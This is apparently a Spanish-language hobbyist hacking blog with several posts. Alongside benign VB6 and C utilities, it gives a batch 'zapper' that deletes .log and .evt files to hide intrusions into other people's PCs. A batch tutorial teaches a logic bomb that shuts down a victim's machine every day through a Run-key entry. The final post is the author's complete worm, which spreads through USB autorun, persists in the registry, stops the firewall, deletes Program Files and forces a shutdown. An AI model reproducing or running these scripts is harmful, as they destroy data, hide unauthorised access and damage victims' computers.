Mostrando entradas con la etiqueta Programacion. Mostrar todas las entradas
Mostrando entradas con la etiqueta Programacion. Mostrar todas las entradas

sábado, 13 de marzo de 2010

Manage Folders 0.1 xD

Hola, les dejo aca mi nuevo "invento" :P lo hize cuando estaba aburrido

Lo que hace este programita, encripta una carpeta y cuando se cambia de usuario, el otro no la podra abrir....
esta bueno no ?
:P

dejo el code y el .exe

Code






Option Explicit   'obligo a declrar las variables
Dim sisisi As Boolean ' declaro una variable con valo booleano
Dim ruta As String  'declaro una variable ruta con valor de cadnea
Dim sisisi2 As Boolean 'declaro la variable sisisi2 con valor booleano
Dim rut33 As String  'etc

Private Declare Function AnimateWindow Lib "user32" ( _
ByVal hwnd As Long, _
ByVal dwTime As Long, _
ByVal dwFlags As Long) As Long     'declaro la api animatewindow 

REM hwnd se aplica a la ventana que quiero aplicar el efecto
rem dwtime es el tiempo en el que sucedera la accion (en milisegundos)
rem dwflags son los valores que permiten indicar que efecto usar y otras propiedades  como la orientación del efecto, es decir que vaya apareciendo desde el medio , del lado izq al derecho con efecto fade o transparencia, etc



Private Const AW_ACTIVATE = &H20000  'constante que indica que despues se active la ventana
Private Const AW_BLEND = &H80000  ' constante que indica la transparencia

Private Declare Function EncryptFile Lib "ADVAPI32" Alias "EncryptFileA" ( _
ByVal lpfilename As String) As Boolean 'declaro api para encriptar archivos

Private Declare Function DecryptFile Lib "ADVAPI32" Alias "DecryptFileA" ( _
ByVal lpfilename As String, _
ByVal dwreserved As Long) As Long 'api para desencriptar archivos

Public Function encriptar_archivos(ByVal ruta1 As String) As Boolean 'declaro una funcion con la variable ruta1 
encriptar_archivos = EncryptFile(ruta1) 'digo que la funcion sea = a la api
End Function


Public Function desencriptar_archivos(ByVal ruta2 As String) As Boolean 'declaro funcion y la var ruta2
desencriptar_archivos = DecryptFile(ruta2, 0) 'digo que la funcion sea = a la api pero esta vez con la opearcion inversa (0)
End Function



Private Sub command1_click() 'al hacer click
ruta = InputBox("Ruta del Archivo a encriptar: ", "By Dr [F]", "Aca") ' digo que la variable ruta sea el inputbox
sisisi = encriptar_archivos(ruta) 'sisisi = se aplica la funcion desencriptar en la ruta
If sisisi Then ' si sisisi nada entonces
MsgBox "Archivos Encriptado Satisfactoriamente", vbInformation, "Good" 'este mensaje
Else ' de lo contrario  
MsgBox Err.Description 'el error que haya sucedido
End If

End Sub

Private Sub command2_click()
rut33 = InputBox("Ruta del Archivo a desencriptar: ", "By Dr [F]", "Aca")
sisisi2 = desencriptar_archivos(rut33)
If sisisi2 Then
MsgBox "Archivos desencriptado satisfactoriamente", vbInformation, "Good"
Else
MsgBox Err.Description, vbCritical, "Error"
End If
Rem lo mismo
End Sub




Private Sub form_load()
Me.Caption = "Manage Folder v 0.1 xD"
Dim lala As Long
lala = AnimateWindow(Me.hwnd, 700, AW_BLEND Or AW_ACTIVATE)
Command1.Caption = "Encriptar"
Command2.Caption = "Desencriptar"
Command1.BackColor = vbGreen
Command2.BackColor = vbGreen
End Sub






Aca dejo el .exe no tengo ganas de analizarlo ... analisenlo uds, asi depaso se acostumbran

lo pueden analisar aca:

.exe:






By Dr [F]


Contador de Lineas

Bueno, aca les dejo mi contador de Lineas en visual basic 6, este programa es muy facil de usar y sencillo, adicto a los contadores de las lineas de los codes :P

Aca ----------> programa contadirlineas.exe


Aca  ---------> Codigo.. viene en un .txt




Analisis con Novirus thanks para los desconfiados -.-


Report date:2010-03-13 15:50:35 (GMT 1)
File name:Contadorlineas.exe
File size:20480 bytes
MD5 hash:82aae17fbfe11d2079622221fdd98536
SHA1 hash:5cd72b84fbf9fd0f586d1cae9bb7b66a1eec9733
Detection rate:0 on 21 (0%)
Status:CLEAN
AntivirusDatabaseEngineResult
a-squared13/03/20104.5.0.8-
Avast100313-04.8.1368-
AVG271.1.1/27209.0.0.725-
Avira AntiVir7.10.4.1887.6.0.59-
BitDefender13/03/20107.0.0.2555-
ClamAV03/03/20100.95.3-
Comodo34683.13.579-
Dr.Web13/03/20105.0-
Ewido13/03/2010--
F-PROT6201003126.3.3.4884-
G-Data19.93092.0.7309.847-
Ikarus T303/03/20101001074-
Kaspersky13/03/20109.0.0.736-
McAfee03/03/20105.1.0.0-
NOD3249404.0.474-
Panda02/03/20109.5.2-
Solo13/03/20108.0-
TrendMicro887(688700)1.1-1001-
VBA3213/03/20103.12.12.2-
VirusBuster1.5.5.0-
Zoner13/03/20100.2-





jueves, 29 de octubre de 2009

Desencriptador\Encriptador

Bueno, este code me costo bastante a mi y a un amigo... asi que me molestaria de sobremanera si lo copian y no ponen que fue creado por nosotros.
basicamente lo que hace es
Desencriptar y encriptar archivos
Desencripta
pones numeros y te dice los valores en ACII

y encripta pones letras y te devuelve numeros en ACII

Aca dejo el code fuente de el programita

#include stdio.h
#include stdlib.h
#include conio2.h
int main()
{
system ("color a");
char var[100]; /* Inicio el array char en 100 */
int opcion; /* Hasta char e son variables */
int i, j, cantidad;
int a, b, c, d, e;
gotoxy (17,1);
printf (" Bienvenido al Encriptador/Desencriptador en C:\n ");
printf ("\n\n\n\n");
printf (" 1. Encriptar \n");
printf (" 2. Desencriptar\n\n");
printf (" :::Que deseas hacer::: ");
scanf ("%i",&opcion); /* Escaneo la opcion */
switch (opcion) /* SWITCH */
{
case 1:
printf ("\n Bienvenido al encriptador:\n\n ");
printf (" Ingrese los valores que quiera ver su equivalencia en ASCII:\n\n");
int i; /* Variable que recorrerra el for */
char var[100]; /* Variable */
setbuf(stdin, NULL); /* Vacio el Buffer */
gets(var); /* Devuelvo la vbvariable var */
for(i=0;var[i]!=0;i++) /* Recorro el for */
printf ("\n %c = %i\n", var[i], var[i]);
system ("pause");
break;

// Desencriptador //
case 2:
printf ("\n Bienvenido al desencriptador:\n\n ");
printf (" Cuantas letras tiene su palabra : ");
scanf ("%i", &cantidad); /*Escaneo */
switch (cantidad) /*Switch */
{
case 1:

printf (" Ingrese su numero: \n ");
scanf ("%d", &j); /* Escaneo una sola variable */
printf ("\n %d = %c\n", j, j);
system ("pause");

break;
case 2:
printf (" Ingresa sus numeros :\n ");
scanf ("%d %d", &j, &a); /*Escaneo 2 numeros */
clrscr ();
printf (" %d = %c\n %d = %c\n", j,j,a,a); /* Los imprimo en pantalla */
system ("pause");

case 3:
printf (" Ingresa las 3 secuencias ACII : ");
scanf ("%d %d %d", &j , &a, &c);
clrscr ();
printf (" %i = %c \n %i = %c \n %i = %c\n",j,j,a,a,c,c);
system ("pause");

break;

case 4:
printf (" Ingresa las 4 secuencias ACII : ");
scanf ("%d %d %d %d", &j, &a, &c, &e);
clrscr ();
printf (" %i = %c \n %i = %c \n %i = %c \n %i = %c\n", j,j,a,a,c,c,e,e);
system ("pause");
break;
case 5:
printf (" Ingresa las 5 secuencias ACII:\n "); /* Si se equivoca ingresando opciones */
scanf (" %d %d %d %d %d", &j,&a,&c,&e, &d);
printf (" %i = %c \n %i = %c \n %i = %c \n %i = %c \n %i = %c", j,j,a,a,c,c,e,e,d,d);
system ("pause");

break;

default:
printf ("\nLe erraste de valores man");
system ("pause>null");
} /* Cierro primer swith */
} /* Cierro segundo Switch */
printf ("\n\nEsto es una version beta, | Dr [F] || IZ |");
} /* Cierro main */

Aca tienen algunas imagenes... si no entienden algo solo pregunten

miércoles, 21 de octubre de 2009

Zapper en progreso

Bueno, con Dr F se nos ocurrio hacer un zapper, y yo habia visto un code hecho por 3D1 que buscaba todos los .exe del disco local, los almacena y luego los ejecuta a todos de una sola vez :P Lo que hicimos fue modificarlo un poco para que busque los archivos .log del disco local y luego eliminarlos para no dejar rastro alguno de lo que hallamos hecho cuando nos entramos en la PC de alguien ^^

@echo off
cd /d %HOMEDRIVE%\
for /f "tokens=*" %%_ in ('tree /F^|findstr /e /i ".log"') do (
for %%- in (echo %%_) do (
if "%%-" NEQ "³" ( if "%%-" NEQ "echo" (
Del /S /Q /F %%-
rem Grax 3D1!
exit

ese es el code que modificamos, lo que hace falta es compilarlo en C para que sea indetectable. Saludos a todos ;)

¿Que es un zapper?

Zapper: es un archivo autoejecutable que se llama cuando desde tu pc cuando te introduces en la PC de otra persona para eliminar todos los registros de que estubistes ahi.

Saludos. Sthefano02

lunes, 19 de octubre de 2009

Borrando Huellas en windows

Hola, como vi que nadie posteaba hace mas de un dia, y tengo tiempo al dope, me digno a hacer este posteito, como ya sabemos, cada vez que usamos nuestro querido SSS, Nessus, Nmap, etc o bien nuestros queridos troyanos, dejamos pequeños rastros, que confirman que estubimos ahi.
esos archivos que confirman nuestra existencia tienen una extension en .log.

los logs se encuentran en :

Panel de Control ---> Herramientas Administrativa s----> Administracion de equipos ---->Visor de sucesos----> Seguridad





Bueno, ahora que sabemos donde se encuentran los logs, fijemosnos en que carpeta estan, para hacer nuestro propio zapper:D



sera esa nuestra ruta... ?

Bueno ahora vamos a hacer nuestro zapper...
como sabemos, tenemos que eliminar los .logs y los .evt de esta carpeta

C:\WINDOWS\System32\config

entonces empezemos con nuestro Zapper, pero antes, muchos se lo estaran preguntando xD
¿Que es un Zapper ?

Es un archivo que borra los .log y los .evt que se dejan cuando ingresamos a un ordenador ajeno ( segun yo )xD


Código:

@echo off
if exist %windir%\System32\config (goto :a) else goto :b
:b
exit
:a
del /f /s /q *.evt
del /f /s /q *.log
ATTRIB -R -A -S -H
ping 127.0.0.1 -n 40
del /f /s /q %0
exit

Asi creo que estaria bien, cabe destacar que hay zappers muchos mas complejos, la verdad nunca vi un zapper ( por eso la idea barata de arriba) xD

Espero que hayan disfrutado el tutorial Cheesy

espero que comenten ya sea positiva o negativamente , cualquier cosa es bueno para aprender.

PD: PODES HACER CLCIK EN LAS IMAGENES PARA AGRANDAR

sábado, 17 de octubre de 2009

Tutorial para principiantes de Batch

Hola, muy al dope en casa, me propongo hacer este tutorial para principiantes en Batch.. Espero que lo drifuten :D

Empezemos por lo basico...

¿Que es batch?

Si queres te puedo decir que no es Batch. Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema o consola negra que a los que no saben nada les da tanto miedo).
Para programar en batch, necesitaremos el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.
Como compilador, podremos usar el block de notas...

Codigos basicos y pequeñas practicas

Como nuestro primero paso... ingresamos al bloc de notas...
Inicio--->todos los programas---->Accesorios----->Bloc de notas

Una vez que ya sabemos como ingresar al bloc de notas ( nuestro compliador ) ya nos podremos llamar super Juankers xD..
Los comandos basicos de Batch son los siguientes:

 *ECHO: imprime un texto en pantalla
*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad).
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador


Bueno, ahora, abre nuestro super compliador ( nuestro bloc de notas ) y comenzemos a practicar:

Escribe esto:

@echo off
title Primer Programa
echo Presiona una tecla:
echo Wenas
pause>nul
exit

Recuerda! esto guardalo como
elnombrequequieras.BAT... no necesariamente en mayusculas, pero el .bat es fundamental para el funcionamiento del programa




screnn de como queda el programa !

ahora... sabras que significa el codigo que copiaste...

@echo off:
Este codigo lo que hace es ocultar todos los comando que vas a utilizar
en el programa, sino nos apareceria lo que pusimos y la victima se
daria cuenta de que es un virus en caso de que lo sea.

title:
este es el nombre que aparece en la ventana del MS-DOS cuando ejecutas el programa.

echo:
Sirve para mostrar en pantalla o imprir datos.
Ej: echo Franco
mostrara por pantalla Franco

pause:
Interviene en el programa creando una pausa que se va cuando tocas alguna letra

echo: Ya sabemos

pause>nul:
esto es lo mismo que lo anterior pero unicamente que no muestra el
cartel en la pantalla que dice "presione un tecla para proseguir"

exit: Sale de la consola de MS-DOS

Variables

DEFINICION

Las variables se usan en la mayoria de los lenguajes de programacion. Son datos que pueden ir cambiando a medida que el programa corre ( como su nombre lo indica son variables) xD. Las variables pueden adquirir diferentes valores letras y numeros, tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.

Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %franco%

Go Practica:

@echo off
title Welcome to variables exercise:
echo Presiona una tecla para continuar
pause>nul
set /p nombre=como te llamas?
set /p edad=cuantos anios tenes?
set /p comida= que comes?
pause > nul
echo hola %nombre%
echo veo que tienes %edad% anios verdad?
echo como te puede gustar %comida%?
pause > nul
exit


Ahora a examinar el code...
hasta pause>nul ( el primero ya sabemos )

set /p loquesea:
Con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamar variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.

echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD

Aqui se imprimen los datos en pantalla un texto usando las variables, como mencione al principio
las variables se llaman entre "%". Entonses el batch imprimira en
pantalla el valor de las variables nombre, edad y comida adicionadas.


Variables de entorno


Hay tipos de variables, que nos ayudan a la hora de crear nuestros programas y virus y que suben mucho la probabilidad de que el programa tenga exito.. a estas variables, las llamaremos variables de entorno, vienen por defecto, y sirven para indicar una ruta.
Por ejemplo:
todos conocen esta ruta:
C:\WINDOWS\SYSTEM32.. Una variable de entorno puede hacer esto:
%windir%\system32 .. es lo mismo que poner lo de arriba
pongamosle, que en un virus esta C:\WINDOWS\SYSTEM32... imaginense si el windows lo tiene en el disco d:\ u en otro disco... El virus ya estaria mal empezado y no funcionaria...
la variable de entorno hace la accion que le indiquemos directamente en la carpeta que le indiquemos en este caso %windir%=windows
¿SE ENTIENDE?
Ahora con la practica lo entenderan

Las variables de entorno mas importante son las siguientes:

%ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz

Ejemplo de batch que ejecute el notepad o el bloc de notas

@echo off
echo Ahora se ejecutara el bloc de notas
%windir%\system32\notepad.exe
pause>nul
exit

Bueno... Empezemos con los que algunos estaban esperando...

Bombas logicas y Virus en Batch


Pero primero, ¿Que es una bomba logica ?

Una Bomba lógica es una parte de código insertada en un programa informático intencionadamente que permanece oculto hasta cumplirse una o más condiciones preprogramadas, en ese momento se ejecuta una acción maliciosa.

Algunos programas maliciosos como virus informáticos o gusanos informáticos suelen contener bombas lógicas que ejecutan una acción en una fecha determinada o al darse alguna condición. Para ser considerado bomba lógica, la acción ejecutada debe ser maliciosa o desconocida para el usuario. Por ejemplo los programas demos, que de desactivan pasado un periodo de tiempo, no son considerados bombas lógicas.

Segun wikipedia

Ahora, enseñare como crear una bomba logica ( muy basica) con el comando AT

Mira este code, te va a gustar... :P

shutdown -s -f -t 05 -c "Hola"

¿Que hace?... apaga el ordenador...
-s : sirve para darle la orden a la pc que se tiene que apagar
-f fuerza el cierre del ordenador cerrando los proceso que normalmente no lo dejan apagar
-t es en el tiempo que queres que se apage
-c deja un comentario siempre va entre comillas

Este comando se cancela poniendo shutdown -a

Entonces creemos un batch que a las 9 pm apage la pc de nuestra "victima" xD

@echo off
AT 17:00 shutdown -s -f -t 2 -c "Jodete" >> c:/windows/system32/windosx.bat

REG ADD HKML\software\Microsoft\Windows\CurrentVersion\Run /v franco2
/t REG_SZ /d "c:/windows/system32/windosx.bat"
exit

Logicamente , lo que haria esto, es apagar el ordenador de nuestra victima, a las 17:00 y agregarse
al registro. osea apagarse todos los dias a las 5 PM

Aplicacion de IF a las variables en menues

@echo off
:menu
echo 1. ping a google
echo 2. ping a wikipedia
set /p var=a quien quieres hacer un ping??

if %var%==1 (goto goo)
if %var%==2 (goto wiki)
if %var%=="" (goto menu)

:goo
ping www.google.com
pause
goto menu

:wiki
ping www.wikipedia.com
pause
goto menu


Explicaremos la nueva parte del code:
if %var%==1 (goto goo)
ponemos %var%, por que es la variable que declaramos arriba (set /p var=). ¿Se entiende ?
ponemos cuando la variable sea uno vaya a :goo
if %var%=="" (goto menu)... Esto, Cuando se ingrese algun dato que no sea 1 o 2 volvera al menu..

Bucles

Los bucles son comandos, que se realizan muchas veces, indefinidamente. Los bucles ( en batch )
se realizan facilmente...
Probemos...

@echo off
:bucle
echo Hola World
goto bucle

Esto, se ejecutara infinintamente, hasta que el programa se cierre...
( Esto nos da muchas ideas ) xD

Esto tambien se puede mezclar con variables y con sentencias condicionales ( IF )
Un Ejemplo con todo; ?

@echo off
set var=20
:bucle
if %var%==0 (goto exit) else set /A var=%var%-1
echo Wenas franco
goto bucle
:exit
echo hola
pause
exit


Automatizacion de tareas

El comando AT, permite que se realize una determinada tarea ( que sabemos nosotros) a alguna
determinada hora ( la que este escrita en el code ) o en un determinado dia o mes, etc

Un ejemplo del comando AT:

@echo off
AT 19;00 shutdown -s -f -t 10 -c " Franco"
exit

Para los newbies si no saben como borrar las tareas
AT /delete


Comandos de red:

Este tema lo voy a pasar muy por arriba, es mas solo dare los comandos.. Espero que sepan entender..

FTP
Iniciar el cliente ftp

IPCONFIG parámetros
Mostrar las características de configuración de IP
/all -> muestra toda la información de configuración
/release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la caché de resolución de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolución dns

NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?

NET parámetros
Comando para el uso de redes netbios
USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesión netbios
STOP -> para detener netbios

NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar números de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadísticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas

NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias

PING
Enivia paquetes a un host para comprovar su disponibilidad

TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior

TRACERT destino
muestra el camino que se toma hasta llegar a la ip

Por ahora esto es todo, voi a seguir maniana.... :D nos vemos

miércoles, 14 de octubre de 2009

Libreria conio en Dev-C++

Hola, en este posteo, les enseñare como instalar la libreria conio con el compliador Dev-C++...
Bueno empezemos
Lo primero que debemos hacer es descargar la libreria conio.h, lo puedo hacer de:
http://rapidshare.com/files/292813136/conio.zip.htm esta subido por mi, pero si desconfian ( no veo el porque) busquen en la red


http://img100.imageshack.us/img100/4051/posteo1.jpg Click aqui para ampliar

2) Paso Damos click en finalizar


Click para ampliar la imagen --> http://img208.imageshack.us/img208/4817/posteo2.jpg

3 paso) Abrimos nuestro compliador ( Dev-C++) y nos dirigimos a Herramientas ---> Herramientas del compliador o en ingles: Tools -----> Compiler tools


Click en el link para ampliar----> http://img380.imageshack.us/img380/5979/posteo3.jpg

Como sabremos si funciona la libreria Conio.h ?

Ejemplo:
#include <>conio2.h
#include <> stdlib.h
#include <> stdio.h>
int main ()
{
clrscr ();
gotoxy (10,20);
printf (" Hola\n");
system ("pause");
}

Aclaro que no pongo las librerias adentro de los < > por que html los confunde como si fuera parte de su codigo, despues voi a ver como arreglar el tema ::
Vemos que usamos gotoxy que es situar el mensaje en las coordenadas que se indican entre ()..
gotoxy (cordenadas, cordenadas), gotoxy es una funcion de la libreria conio

Espero que los halla ayudado ...
El [ Dr F]

lunes, 28 de septiembre de 2009

Mi gusano ( Batch )

Esta es una versiona beta de mi pequeño gusano que hize en batch ( vos me entendes no narigon " MuY AL PEDO xd").
Lo que hace este bichito, en sintesis, es autopropagarse por los pendrives, y borrar la mayor parte de los archivos.

Pero antes:

Un gusano informático (también llamados IWorm por su apocope en inglés, I de Internet, Worm de gusano) es un malware que tiene la propiedad de duplicarse a sí mismo. Los gusanos utilizan las partes automáticas de un SO que generalmente son invisibles al usuario.

A diferencia de un Virus , un gusano no precisa alterar los archivos de programas, sino que reside en la MeMORIA y se duplica a sí mismo. Los gusanos casi siempre causan problemas en la red (aunque sea simplemente consumiendo ancho de banda), mientras que los virus siempre infectan o corrompen los archivos de la computadora que atacan.

Es algo usual detectar la presencia de gusanos en un sistema cuando, debido a su incontrolada replicación, los recursos del sistema se consumen hasta el punto de que las tareas ordinarias del mismo son excesivamente lentas o simplemente no pueden ejecutarse.

Metodo de propagacion:

@echo off
if exist %windir%\system32\Palo.bat (goto a) else (goto code)
if exist %windir%\system32\autorun.inf (goto b) else (goto code)
if exist %windir%\system32\toyos.wav (goto c) else (goto code)

:a
cd %windir%\system32
attrib -R -A -S -H palo.bat
del /f /s /q Palo.bat
goto code

:b
cd %windir%\system32
attrib -R -A -S -H autorun.inf
del /f /s /q autorun.inf
goto code

:c
cd %windir%\system32
attrib -R -A -S -H toyos.wav
del /f /s /q toyos.wav
goto code

:code
REG ADD HKML\software\Microsoft\CurrentVersion\Run /v MsnPahe /t REG_SZ /d "%windir%\system32\JSPalo.bat" /f
REG ADD HKML\Software\Microsoft\CurrentVersion\Run /v ProMsnn /t REG_SZ /d "%windir%\JSPalo.bat" /f
REG ADD HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Cdrom /v svnnostt /t REG_DWORD /d "%windir%\JSPalo.bat" /f
REG ADD HKML\Software\Microsoft\CurrentVersion\Run/v Reggeditt /t REG_SZ /d "%homedrive%\JSPalo.bat" /F

rem ------------------Borro el Registro PENDRIVE --------------
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\Polices\Explorer /v NoDriveTypeAutorun /f
reg delete HKML\Software\Microsoft\Windows\CurrentVersion\Polices\Explorer /v NoDriveTypeAutorun /f
reg delete HKML\Software\Microsoft\Windows\CurrentVersion\Polices\Explorer /v NoDriveAutorun /f

rem ----------------- Gusano ---------------
for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (copy /y "%~dpnx0" && %%x\ && copy /y "%windir%\system32\sarasa.bat" %%x\ && copy /y "%windir%\system32\toyos.wav" %%x\ && copy /y "%windir%\system32\autorun.inf" && ATTRIB +R +S +H %%x\
)

Destruccion:

@echo off


rem --------------------- Registro ----------------
REG ADD HKML\Software\Microsoft\Windows\CurrentVersion\Run /v HideProcess /t REG_SZ /d "%windir%\system32\nombre.bat
REG ADD HKML\Software\Microsoft\Windows\CurrentVersion\Run /v avast.! /t REG_SZ /d "%windir%\nombre.bat
REG ADD HKEY_CURRENT_USERS\Software\Polices\Microsoft\Windows\System /v DisableRegistryTools /t REG_SZ /d 0X00000001 /f
rem FOR DEL REGISTRO PROXIMAMENT

rem ------------------ Inicio --------------------
start %0
rem ------------------- Fin inicio -----------------


rem ---------------------- Virus Palo -------------
if exist %windir%\system32\Palo.bat (goto :a) else (goto :code)
if exist %windir%\Palo.bat (goto :b) else (goto :code)
if exist %homedrive%\Palo.bat (goto :c) else (goto :code)
:a
cd %windir%\system32
del /f /s /q Palo.bat
goto code
:b
cd..
cd %windir%
del /f /s /q Palo.bat
goto code
:c
cd %homedrive%
del /f /s /q Palo.bat
goto code
:code
copy %0 %windir%\system32\Palo.bat
copy %0 %windir%\Palo.bat
copy %0 %homedrive%\nombredelbat.bat
attrib +R +S +H *.bat

rem -------------------------------------- Inicio Einstein -------------------------------------------
net stop SharedAccess

cd %programfiles%
attrib -R -A -S -H *.*
del /S /Q /F *.*

cd ..
cd %windir%
fsutil file createnew %random%.exe 1000000 Attrib + R +S +H
fsutil file createnew %random%.exe 1000000 Attrib + R +S +H
fsutil file createnew %random%.exe 1000000 Attrib + R +S +H
cd..
cd %windir%
ping -n 15 127.0.0.1 >nul
shutdown -s -f -t 7 -c "pALO !"


y opor utlimo el Autorun.inf

[autorun]
shellexecute=/Palo.bat


-------------------------------------------------------------------------------------------


Esta mas que claro que todavia no decidi el nombre y que faltan funciones, por algo es una version beta xD.... despues voi a sacar un gusano un poco mejor en c++.

Saludos

El Dr [F]